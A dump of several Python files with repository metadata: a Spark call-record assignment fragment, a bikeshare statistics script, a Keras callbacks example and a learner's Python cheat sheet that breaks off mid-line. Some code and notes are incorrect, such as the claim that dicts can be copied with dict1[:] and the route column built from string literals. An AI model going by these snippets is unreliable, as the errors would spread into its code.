FILE\n    # please start  with a few number of users, e.g., 1000\n    number_of_users_to_sample =  1000\n    # Full path to CSV to write outputs\n    output_csv = \"/home/user/Desktop/output_csv\"\n    # Download the file called simulated_locs.csv\n    # and add its full path below\n    loc_file = \"/home/user/Desktop/big data analytic/simulated_locs.csv\"\n    # finall call the function preprocess_cdrs_using_spark and with other options left\n    # as default\n    dfu =  preprocess_cdrs_using_spark(file_or_folder=cdrs_dir, number_of_users_to_sample=number_of_users_to_sample,\n                                output_csv=output_csv, date_format='%Y%m%d%H%M%S',\n                                debug_mode=True, loc_file=loc_file, save_to_csv=False,\n                                userid_col=\"user_id\")\n\n    # ============================================\n    # QUESTION 3: EXPLORE USER ACTIVITY PATTERNS\n    # ============================================\n    # 1. use the df you save from above as input here\n    # 2. create a full path to save a plot with \"png\" extension\n    # 3. create a full path to save the heatmap plot\n    # Run the function explore_data_with_spark below\n    results = explore_data_with_spark(df=dfu, output_plot_file='/home/user/Desktop/big_data_analytic.png', output_heatmap='/home/user/Desktop/big.png')\n", "meta": {"hexsha": "3f3b5cab7e6c29d6f69a39bab5123679dbeb460c", "size": 15956, "ext": "py", "lang": "Python", "max_stars_repo_path": "louismozart_teyou_BDA2.py", "max_stars_repo_name": "Louis-Mozart/Louis-Mozart.github.io", "max_stars_repo_head_hexsha": "ffc11437fb47fa4007b47ef0bf82388de132cca1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "louismozart_teyou_BDA2.py", "max_issues_repo_name": "Louis-Mozart/Louis-Mozart.github.io", "max_issues_repo_head_hexsha": "ffc11437fb47fa4007b47ef0bf82388de132cca1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "louismozart_teyou_BDA2.py", "max_forks_repo_name": "Louis-Mozart/Louis-Mozart.github.io", "max_forks_repo_head_hexsha": "ffc11437fb47fa4007b47ef0bf82388de132cca1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.0080862534, "max_line_length": 151, "alphanum_fraction": 0.6520431186, "include": true, "reason": "import numpy", "num_tokens": 3713, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38861802670584894, "lm_q2_score": 0.1710612001304791, "lm_q1q2_score": 0.0664774660406411}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n\n    city = input('Please choose one of the following cities: chicago, new york city, washington: ')\n    city = city.lower()\n\n    while city not in CITY_DATA.keys():\n        city = input('Something went wrong. Please enter one of the following cities: \\n chicago, new york city, washington \\n')\n        city = city.lower()\n\n    print('You have chosen ',city)\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n    month = input('Please choose \\'all\\' or one of the following months: january, february, march, april, may, june: ')\n    month = month.lower()\n\n    while month not in ['all','january', 'february', 'march', 'april', 'may', 'june']:\n        month = input('Something went wrong. Please enter one of the following months: \\n all, january, february, march, april, may, june:\\n')\n        month = month.lower()\n\n    print('You have chosen ', month)\n\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n    day = input('Please choose \\'all\\' or one of the following day: monday, tuesday, wednesday, thursday, friday, saturday, sunday: ')\n    day = day.lower()\n\n    while day not in ['all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday']:\n        day = input('Something went wront. Please enter one of the following days: \\n all, mon, tue, wed, thu, fri, sat, sun\\n')\n        day.lower()\n\n\n    print('You have chosen ', day)\n\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    #Loading data\n    df = pd.read_csv(CITY_DATA[city])\n\n    #Convert the starttime column to Datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    #Extract month and day of week from Start Time to create new column\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n    df['hour'] = df['Start Time'].dt.hour\n\n    # filter by month if applicable\n    if month != 'all':\n        months = ['january', 'february', 'march', 'april', 'may', 'june']\n        month = months.index(month)+1\n        df = df[df['month'] == month]\n\n    # filter by day of week if applicable\n    if day != 'all':\n        df = df[df['day_of_week'] == day.title()]\n\n    print(df.head())\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    popular_month = df['month'].mode()[0]\n    print('Most common month in index numbers: ', popular_month)\n\n    # TO DO: display the most common day of week\n    popular_weekday = df['day_of_week'].mode()[0]\n    print('Most common day of week: ', popular_weekday)\n\n    # TO DO: display the most common start hour\n    popular_hour = df['hour'].mode()[0]\n    print('Most common start hour: ', popular_hour)\n\n    print('\\nThis took %s seconds.' % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    popular_start = df['Start Station'].mode()[0]\n    print('The most commonly used start station: ', popular_start)\n\n    # TO DO: display most commonly used end station\n    popular_end = df['End Station'].mode()[0]\n    print('The most commonly used end station: ', popular_end)\n\n    # TO DO: display most frequent combination of start station and end station trip\n    df['start_to_end'] = 'Start Station' + ' ' + 'End Station'\n    frequent_route = df['start_to_end'].mode()[0]\n    print('The most frequent combination of start station and end station trip: ', frequent_route)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    total_travel = df['Trip Duration'].sum()\n    print('The total travel time: ', total_travel)\n\n    # TO DO: display mean travel time\n    mean_travel = df['Trip Duration'].mean()\n    print('The mean travel time: ', mean_travel)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df, city):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    counts_user = df['User Type'].value_counts()\n    print('Counts of user type: ',counts_user)\n\n    # TO DO: Display counts of gender. Display earliest, most recent, and most common year of birth\n\n    if city != 'washington':\n        counts_gender = df['Gender'].value_counts()\n        print('Counts of gender: ', counts_gender)\n        print('Earliest year of birth: ', df['Birth Year'].min())\n        print('Most recent year of birth: ', df['Birth Year'].max())\n        print('Most common year of birth: ', df['Birth Year'].mode()[0])\n    else:\n        print('The list for Washington does not contain a Gender and Birth Year column.')\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef display_data(df):\n    \"\"\" Asks whether the user wants to raw data. If 'yes' the script prints 5 rows and asks again if the user wants to see 5 more rows. Once the user chooses'no' the script goes to the next section of the script\"\"\"\n\n    raw_data = input('Would you like to see raw_data? Enter yes or no\\n').lower()\n    count = 0\n    while raw_data not in ['yes', 'no']:\n        raw_data = input('Please try again: yes or no?').lower()\n\n    if raw_data == 'yes':\n        print(df.head())\n\n    while raw_data == 'yes':\n        raw_data = input('Would you like to see 5 more rows?\\n').lower()\n        if raw_data == 'yes':\n            count +=5\n            print(df[count:count+5])\n\n\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df, city)\n        display_data(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n    main()\n", "meta": {"hexsha": "88e94fb27fb3f7d6e469a546a28ebaccd2c3278e", "size": 7548, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare_2.py", "max_stars_repo_name": "lakesterful/tara", "max_stars_repo_head_hexsha": "66fe04bc51e0cb4e2561a00072660d6b155d2e4f", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bikeshare_2.py", "max_issues_repo_name": "lakesterful/tara", "max_issues_repo_head_hexsha": "66fe04bc51e0cb4e2561a00072660d6b155d2e4f", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare_2.py", "max_forks_repo_name": "lakesterful/tara", "max_forks_repo_head_hexsha": "66fe04bc51e0cb4e2561a00072660d6b155d2e4f", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.623853211, "max_line_length": 214, "alphanum_fraction": 0.6338102809, "include": true, "reason": "import numpy", "num_tokens": 1919, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207955, "lm_q2_score": 0.1347759139476672, "lm_q1q2_score": 0.06633510582596867}}
{"text": "#todo p.330 ~ p.333\n#todo code x ~ code x\n#todo 7.2.1 \ucf5c\ubc31\uc744 \uc0ac\uc6a9\ud558\uc5ec \ubaa8\ub378\uc758 \ud6c8\ub828 \uacfc\uc815 \uc81c\uc5b4\ud558\uae30\n\n# \u25a3 ModelCheckPoint \uc640 EarlyStopping \ucf5c\ubc31\n# - ModelCheckPoint: \ud6c8\ub828\ud558\ub294 \ub3d9\uc548 \ubaa8\ub378\uc744 \uacc4\uc18d \uc800\uc7a5\ud558\ub294 \ucf5c\ubc31 \ud568\uc218\n# - EarlyStopping: \uc815\ud574\uc9c4 \uc5d0\ud3ec\ud06c \ub3d9\uc548 \ubaa8\ub2c8\ud130\ub9c1 \uc9c0\ud45c\uac00 \ud5a5\uc0c1\ub418\uc9c0 \uc54a\uc744 \ub54c \ud6c8\ub828\uc744 \uc911\uc9c0\ud558\ub294 \ucf5c\ubc31 \ud568\uc218\n\nimport os\nimport keras\nfrom keras.models import Model\n\nx, y = [], []\nx_val, y_val = [], []\n\ncallback_list = [\n    keras.callbacks.EarlyStopping(  # \uc131\ub2a5 \ud5a5\uc0c1\uc774 \uba48\ucd94\uba74 \ud6c8\ub828\uc744 \uc911\uc9c0\n        monitor='val_acc',  # \ubaa8\ub378\uc758 \uac80\uc99d \uc815\ud655\ub3c4\ub97c \ubaa8\ub2c8\ud130\ub9c1\n        patience=1  # 1 \uc5d0\ud3ec\ud06c\ubcf4\ub2e4 \ub354 \uae38\uac8c(\uc989 2 \uc5d0\ud3ec\ud06c \ub3d9\uc548) \uc815\ud655\ub3c4\uac00 \ud5a5\uc0c1\ub418\uc9c0 \uc54a\uc73c\uba74 \ud6c8\ub828\uc774 \uc911\uc9c0\n    ),\n    keras.callbacks.ModelCheckpoint(  # \uc5d0\ud3ec\ud06c\ub9c8\ub2e4 \ud604\uc7ac \uac00\uc911\uce58\ub97c \uc800\uc7a5\n        filepath=os.path.join(os.path.dirname(os.path.abspath(__file__)), 'train_log', 'model.h5'),  # \ubaa8\ub378 \ud30c\uc77c\uc758 \uacbd\ub85c\n        monitor='val_loss',  # \uc774 \ub450 \ub9e4\uac1c\ubcc0\uc218\ub294 val_loss \uac00 \uc88b\uc544\uc9c0\uc9c0 \uc54a\uc73c\uba74 \ubaa8\ub378 \ud30c\uc77c\uc744 \ub36e\uc5b4\uc4f0\uc9c0 \uc54a\ub294\ub2e4\ub294 \ub73b.\n        save_best_only=True  # \ud6c8\ub828\ud558\ub294 \ub3d9\uc548 \uac00\uc7a5 \uc88b\uc740 \ubaa8\ub378\uc774 \uc800\uc7a5.\n    )\n]\n\nmodel = Model()\n\nmodel.compile(optimizer='rmsprop',\n              loss='binary_crossentropy',\n              metrics=['acc'])\n\nmodel.fit(\n    x=x,\n    y=y,\n    epochs=10,\n    batch_size=32,\n    callbacks=callback_list,\n    validation_data=(x_val, y_val)\n)\n\n# \u25a3 ReduceLROnPlateau \ucf5c\ubc31\n# - \uac80\uc99d \uc190\uc2e4\uc774 \ud5a5\uc0c1\ub418\uc9c0 \uc54a\uc744 \ub54c \ud559\uc2b5\ub960\uc744 \uc791\uac8c \ud560 \uc218 \uc788\ub294 \ucf5c\ubc31 \ud568\uc218\n\ncallback_list = [\n    keras.callbacks.ReduceLROnPlateau(\n        monitor='val_loss',  # \ubaa8\ub378\uc758 \uac80\uc99d \uc190\uc2e4\uc744 \ubaa8\ub2c8\ud130\ub9c1\n        factor=0.1,  # \ucf5c\ubc31\uc774 \ud640\ucd9c\ub420 \ub54c \ud559\uc2b5\ub960\uc744 10\ubc30\ub85c \uc904\uc784\n        patience=10  # \uac80\uc99d \uc190\uc2e4\uc774 10 \uc5d0\ud3ec\ud06c \ub3d9\uc548 \uc88b\uc544\uc9c0\uc9c0 \uc54a\uc73c\uba74 \ucf5c\ubc31\uc774 \ud638\ucd9c\n    )\n]\n\nmodel.fit(\n    x=x,\n    y=y,\n    epochs=10,\n    batch_size=32,\n    callbacks=callback_list,\n    validation_data=(x_val, y_val)\n)\n\n# \u25a3 \uc0ac\uc6a9\uc790 \ucf5c\ubc31 \ud568\uc218\n# - \ub0b4\uc7a5 \ucf5c\ubc31\uc5d0\uc11c \uc81c\uacf5\ud558\uc9c0 \uc54a\ub294 \ud2b9\uc218\ud55c \ud589\ub3d9\uc774 \ud6c8\ub828 \ub3c4\uc911 \ud544\uc694\ud558\uba74 \uc790\uc2e0\ub9cc\uc758 \ucf5c\ubc31\uc744 \ub9cc\ub4e4 \uc218 \uc788\uc74c\n# - \ucf5c\ubc31\uc740 keras.callbacks.Callback \ud074\ub798\uc2a4\ub97c \uc0c1\uc18d\ubc1b\uc544 \uad6c\ud604\n# - \ud6c8\ub828\uc2dc \ud638\ucd9c \uc9c0\uc810\n#  - on_epoch_begin: \uac01 \uc5d0\ud3ec\ud06c\uac00 \uc2dc\uc791\ud560 \ub54c \ud638\ucd9c\n#  - on_epoch_end: \uac01 \uc5d0\ud3ec\ud06c\uac00 \ub05d\ub0a0 \ub54c \ud638\ucd9c\n#  - on_batch_begin: \uac01 \ubc30\uce58 \ucc98\ub9ac\uac00 \uc2dc\uc791\ub418\uae30 \uc804\uc5d0 \ud638\ucd9c\n#  - on_batch_end: \uac01 \ubc30\uce58 \ucc98\ub9ac\uac00 \ub05d\ub09c \ud6c4\uc5d0 \ud638\ucd9c\n#  - on_train_begin: \ud6c8\ub828\uc774 \uc2dc\uc791\ub420 \ub54c \ud638\ucd9c\n#  - on_train_end: \ud6c8\ub828\uc774 \ub05d\ub0a0 \ub54c \ud638\ucd9c\n\nimport numpy as np\n\nclass ActivationLogger(keras.callbacks.Callback):\n    def set_model(self, model):\n        self.model = model\n        layer_outputs = [layer.output for layer in model.layers]\n        self.activations_model = keras.models.Model(inputs=model.input,\n                                                    outputs=layer_outputs)\n\n    def on_epoch_end(self, epoch, logs=None):\n        if self.validation_data is None:\n            raise RuntimeError('Requires validation_data.')\n\n        validation_sample = self.validation_data[0][0:1]  # validation_data \uc758 \uccab \ubc88\uc9f8 \uc6d0\uc18c\ub294 \uc785\ub825 \ub370\uc774\ud130\uace0, \ub450 \ubc88\uc9f8 \uc6d0\uc18c\ub294 \ub808\uc774\ube14\n        activations = self.activations_model.predict(validation_sample)\n        f = open('activations_at_epoch_' + str(epoch) + '.npz', 'wb')\n        np.savez(f, activations)\n        f.close()\n", "meta": {"hexsha": "2f89890624ce9f49f27ab180628d5725e3f705d5", "size": 2637, "ext": "py", "lang": "Python", "max_stars_repo_path": "Books/DeepLearningLearningFromTheFounderOfKeras/chapter7/sub7_2_1.py", "max_stars_repo_name": "Tim232/Python-Things", "max_stars_repo_head_hexsha": "05f0f373a4cf298e70d9668c88a6e3a9d1cd8146", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-12-05T07:42:55.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-06T23:23:18.000Z", "max_issues_repo_path": "Books/DeepLearningLearningFromTheFounderOfKeras/chapter7/sub7_2_1.py", "max_issues_repo_name": "Tim232/Python-Things", "max_issues_repo_head_hexsha": "05f0f373a4cf298e70d9668c88a6e3a9d1cd8146", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Books/DeepLearningLearningFromTheFounderOfKeras/chapter7/sub7_2_1.py", "max_forks_repo_name": "Tim232/Python-Things", "max_forks_repo_head_hexsha": "05f0f373a4cf298e70d9668c88a6e3a9d1cd8146", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.6630434783, "max_line_length": 112, "alphanum_fraction": 0.6374668184, "include": true, "reason": "import numpy", "num_tokens": 1112, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014736319616964, "lm_q2_score": 0.15405755686555633, "lm_q1q2_score": 0.06626745186616302}}
{"text": "from platform import python_version\nfrom itertools import zip_longest\nimport itertools\nimport math\nfrom typing import final\nprint('Hello World!')\n\nnum = int(input())\na, b = 1, 2 # a = 1, b = 2\n\ndef numbers():\n  return 1, 2, 3, 4, 5\n\na, b, c, d, e = numbers()\n\nprint(3 + 2) # 5    +=\nprint(3 - 2) # 1    -=\nprint(3 * 2) # 6    *=\nprint(3 / 2) # 1.5  /=\nprint(2 / 2) # 1.0\nprint(2**3)  # 8   **=\nprint(7 // 2)# 3   //=\nprint(7 % 2) # 1    %=\n\nprint('uma')\nprint(\"duas\")\nprint('''uma\nduas\ntres linhas''')\nprint(f'interpolado {num}')\n\"\"\"\n  docstring\n\"\"\"\n\nprint('spam' + 'eggs') # spameggs\nprint('2' + '3') # 23\n# print('2' + 2) # error\nprint('2' * 4) # 2222\n\nprint(1 == 1) # True\nprint(1 != 1) # False\nprint(2 >= 1) # True\nprint(2 <= 1) # False\nprint(2 > 1)  # True\nprint(2 < 1)  # False\n\nprint(1 > 0 and 2 < 1) # False\nprint(1 > 0 or 2 < 1)  # True\nprint(not (1 > 0 and 2 < 1)) # True\nprint(not None) # true # implicit values\nprint(not []) # true # but [] != None\n\nstr = []\n# print(len(str) == 0) # not python way\nprint(not str) # empty, None or zero\n# also as\nprint(str is None) # anything but None\nprint(str is not None) # only None\n\nif num > 10:\n  print(f'{num} \u00e9 maior que 10')\nelif num == 10:\n  print(f'{num} \u00e9 igual a 10')\nelse:\n  print(f'{num} \u00e9 menor que 10')\n\nwhile num > 0:\n  print(num)\n  num -= 1;\n\nwords = ['hello', 'world', '!']\nstr = 'Hello World!'\nm = [\n  [1, 2, 3],\n  [4, 5, 6]\n]\nprint(words[2]) # !\nprint(str[6]) # W\nprint(words + [1, 2, 3]) # ['hello', 'world', '!', 1, 2, 3]\nprint([1, 2, 3] + [4, 5, 6]) # [1, 2, 3, 4, 5, 6]\nprint([1, 2, 3].extend([4, 5, 6]))\n\nord('a') # unicode value\n\nprint('hello' in words) # True\nprint(4 not in [1, 2, 3]) # True\n\nfor w in words:\n  print(f'{w}!')\n\nprint(list(range(10))) # [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\nprint(list(range(3, 8))) # [3, 4, 5, 6, 7]\nprint(list(range(2, 10, 3))) # [2, 5, 8]\n\nwords = [1, 'a', 2, 'a', 3, 'a', 4, 'a', 5, 'a']\nfor i in range(words.count('a')):\n  words.remove('a')\n  print(words)\n\nwords = [1, 'a', 2, 'a', 3, 'a', 4, 'a', 5, 'a']\nsquares = [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]\nprint(squares[2:6]) # [4, 9, 16, 25]\nprint(squares[3:8]) # [9, 16, 25, 36, 49]\nprint(squares[0:1]) # [0]\nprint(squares[:7])  # [0, 1, 4, 9, 16, 25, 36]\nprint(squares[7:])  # [49, 64, 81]\nprint(squares[::2]) # [0, 4, 16, 36, 64]\nprint(squares[2:8:3])#[4, 25]\nprint(squares[1:-1])# [1, 4, 9, 16, 25, 36, 49, 64]\nprint(squares[-1])  # 81\nprint(squares[::-1])# [81, 64, 49, 36, 25, 16, 9, 4, 1, 0]\n# same as list.reverse()\n# same as reversed(list)\n\nlen(squares) # 10\nsquares.append(100) # [0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100]\nsquares.insert(0,'fon') # ['fon', 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100]\nsquares.index(9) # 4\n[3, 1, 2].sort() # [1, 2, 3]\n\nmax([1, 2, 3, 4, 5]) # 5\nmin([1, 2, 3, 4, 5]) # 1\nwords.count('a') # 5\nsquares.remove('fon') # [0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100]\n[1, 2, 3].reverse() # [3, 2, 1]\n\nnums = [4, 5, 6]\nmsg = \"Numbers: {0} {1} {2}\". format(nums[0], nums[1], nums[2])\nprint(msg) # Numbers: 4 5 6\na = \"{x}, {y}\".format(x=5, y=12)\nprint(a) # 5, 12\n\nprint(\", \".join([\"spam\", \"eggs\", \"ham\"])) # prints \"spam, eggs, ham\"\nprint(\"Hello ME\".replace(\"ME\", \"world\")) # prints \"Hello world\"\nprint(\"This is a sentence.\".startswith(\"This\")) # prints \"True\"\nprint(\"This is a sentence.\".endswith(\"sentence.\")) # prints \"True\"\nprint(\"This is a sentence.\".upper()) # prints \"THIS IS A SENTENCE.\"\nprint(\"AN ALL CAPS SENTENCE\".lower()) # prints \"an all caps sentence\"\nprint(\"spam, eggs, ham\".split(\", \")) # prints \"['spam', 'eggs', 'ham']\"\n\ndef main(n):\n  return n + 1\nprint(main(num))\n\n# file != script\ndef main():\n  print('Hello World!')\n  print('im not a file, im a script!')\nif __name__ == '__main__':\n  main() # prevents from runing scripts when importing\n  _ = 'dont use me!'\n\nimport time\nimport traceback\n\n# while True:\n#   try:\n#     print('Vrummmmmmm')\n#     time.sleep(0.1)\n#     raise Exception('que')\n#   except Exception: # != 'exception', excludes keyboardinterrupt (^C)\n#     print('unheeeee')\n\ntry:\n  raise Exception('unheeee')\nexcept Exception as e: # ValueError => alternative but more precise and correct way\n  print(e)\n  traceback.print_exc() # keeps track of the trouble\n  print(traceback.format_exc)\n\nprint('ALWAYS MAKE LISTS AS SETs OR HASH TABLES')\n\ndef fun(str, arr=None):\n# prevents reassigning the array im memory # dont cache previous values # redfines itself\n  if isinstance(arr, type(None)):\n    arr = []\n  for s in str:\n    arr.append(s)\n  return arr\n# better way to assign arrays\n\n# python -i file.py\n\n# import pdb\n# pdb.set_trace()\n# debug code\n\n# $ pip install virtual env\n# $ virtualenv venv\n# $ source venv/bin/activate\n# # also as\n# $ python -m venv my_venv\n# $ python file.py // python -m file\n\nfruits = [\n  {'name': 'apple', 'price': 20},\n  {'name': 'avocado', 'price': 10},\n  {'name': 'orange', 'price': 5}\n] # Dictionary\n\nprint(\n  # list comprehension\n  [fruit['name'] for fruit in fruits if fruit['name'][0] == 'a']\n) # ['apple', 'avocado']\n\nprint(\n  {fruit['name']: fruit['price'] for fruit in fruits}\n) # {'apple': 20, 'avocado': 10, 'orange': 5}\n\nadd: lambda x,y: x + y # lambda anonymous function\n\n# more_than_one_nums = filter(lambda x: x > 1, [1, 2, 3]) # inline functions\n# print(more_than_one_nums)\n\ncondition = True\nx = 1 if condition else 0\n# ternary\n\nnum1 = 10_000_000_000\nnum2 = 100_000_000 # grouping numbers w/o messing code\ntotal = num1 + num2\nprint(f'{total:,}') # 10,100,000,000\n\n# context manager\n# with open('file', 'r') as f:\n#   content = f.raed()\n# print(len(content.split(' ')))\n# better way to manage resources\n\nnames = ['Ot\u00e1vio', 'Pedro', 'Marina', 'Alex']\napelidos = ['Ota', 'Pepe', 'Nina', 'Alek']\n\nfor index, name in enumerate(names, start=1):\n  print(index, name)\n# enumarete function, same as JavaScript forEach\n\nfor name, apelido in zip(names, apelidos):\n  print(f'O apelido do {name} \u00e9 {apelido}')\n\n# packinhg and unpacking\n\n# normal\nitems = (1, 2)\nprint(items) # (1, 2)\n\n# umpacking\n\n# a, b = (1, 2)\na, _ = (1, 2) # _ as variable is ignored by the code\nprint(a) # 1\n# print(b) # 2\n\n# a, b, c = (1, 2) # error, not enough values to unpack\n# a, b = (1, 2, 3) # error, not enough variables to assign\n\na, b, *c, d = (1, 2, 3, 4, 5, 6, 7)\nprint(a) # 1\nprint(b) # 2\nprint(c) # [3, 4, 5, 6] # all unassigned values # can be set as _ too\nprint(d) # 7 # last value\n\nclass Person(): # Object\n  pass\n\nperson = Person()\n\n# person.first = 'Ot\u00e1vio'\n# person.last = 'Pedro'\n\n# first_key = 'first'\n# first_val = 'Pedro'\n\n# setattr(person, first_key, first_val)\n# first = getattr(person, first_key)\n# uses functions to set/get keys and values from a object\n\nfor fruit in fruits:\n  for key, value in fruit.items():\n    setattr(person, key, value)\n  print(person.name, person.price)\n\n# for key in person.keys():\n#   print(getattr(person, key))\n\nfrom getpass import getpass\nusername = input('Username: ')\npassword = getpass('Password: ')\nprint('Logging In...')\n#set a get password function, hiding the input\n\n# help(module_name)\n\nfrom datetime import datetime\ndir(datetime)\ndatetime.today\ndatetime.today()\nnow = datetime.now()\nprint(now.day, now.month, now.year, now.hour, now.minute, now.second)\n\n# contdown\nnow = datetime.now()\nend = datetime(2020, 12, 1)\nprint((end-now).microseconds) # aaa\n\n# elapsed time\nstart = datetime.now()\n\nfor i in range(100_000_000):  # to pass time\n  pass\n\nend = datetime.now()\n\nprint(type(end-start)) # <class 'datetime.timedelta'>\nelapsed = end-start\nprint(elapsed)\nprint(elapsed.seconds, elapsed.microseconds)\n\nprint(f\"\\033[91mError: This is \\033[96mcyan. \\033[92mContinue?\")\n# Colored Text\n\nprint(round(8.5)) #down to 8\nprint(round(9.5)) #up to 10\n\n# import webbrowser\n# webbrowser.open('github.com/pedromchd')\n\nmsg = 'message ' 'other message'\nprint(msg) # message other message\nprint('message '\n      'other message')\n# message other message\nprint('''message \\\n      other message\n      another message''')\n# message other message\n# another message\n\nif 'Git' in 'GitHub': print('GitHub'.index('Git')) # may cause errors\n\n'GitHub'.find('Git') # sames as .index()\n\nfruit = {'Orange': 15}\nprint(id(fruit)) # gets unique id from objetct\n\n# use as an alias\ndict1 = {'a': 1, 'b': 2}\ndict2 = dict1\ndict2['c'] = 3\nprint(id(dict1) == id(dict2)) # true\nprint(dict1) # {'a': 1, 'b': 2, 'c': 3}\nprint(dict2) # {'a': 1, 'b': 2, 'c': 3}\n# doesnt work in primary values\n\n# actually copy\ndict1 = {'a': 1, 'b': 2}\ndict2 = dict1[:]\n# same as dict1.copy()\ndict2['c'] = 3\nprint(id(dict1) == id(dict2)) # false\nprint(dict1) # {'a': 1, 'b': 2}\nprint(dict2) # {'a': 1, 'b': 2, 'c': 3}\n\n# actually replaces content\ndict1[:] = dict2\nprint(dict1) # {'a': 1, 'b': 2, 'c': 3}\nprint(dict2) # {'a': 1, 'b': 2, 'c': 3}\n\nfrom copy import deepcopy\n\ntech = ['C++', 'Go', 'Python', ['html', 'css', 'pics']]\nlearning = tech.copy()\nprint(id(tech) == id(learning)) # false\nprint(id(tech[-1]) == id(learning[-1])) #true with shallow copy\n\nlearning = deepcopy(tech)\nprint(id(tech) == id(learning)) # false\nprint(id(tech[-1]) == id(learning[-1])) # false\n\nage = 16\nprint('age' in locals(), 'age' in globals())\ndel age\nprint('age' in locals(), 'age' in globals())\nage = None\nprint('age' in locals(), 'age' in globals())\n\nfor language in ['C', 'C++', 'Java', 'C#', 'Python', 'Go', 'Rust']:\n    print(language, end=\" \") # end=' ' changes ending of line output\nprint(\"\") #to go to next line for the next output\n\nprint(fruits, names, tech)\n\n# use else in loops\nfor name in names:\n  if name == 'Rafaela': apelidos.append('Rafa')\n  break\nelse:\n  print('Cade a Rafa???')\n\nprint(list(range(0, 100, 3)))\n\ndef letters(x, y, z):\n  print(f'the letters are {x}, {y} and {z}')\n\nlett = ['a', 'b', 'c']\nletters(*lett) # * gets all unassigned elements\n\ndef nothing():\n  pass # does nothing\n\nwords = list(set(words)) # remove duplicates\nwords = [1, 2, 3, 4, 5, 'a']\n\nday = 'Sunday'\nif day in ['Saturday', 'Sunday']: print('its weekend')\n\nconditions = [True, False]\nif any(conditions): print('same as \"or\"')\nif all(conditions): pass\nelse: print('same as \"and\"')\n\nfull_name = \"Caleb Curry\"\n# returns list but can assign to individual variables\nfirst, last = full_name.split()\nprint(first, last)\n\ndata = \"1 2 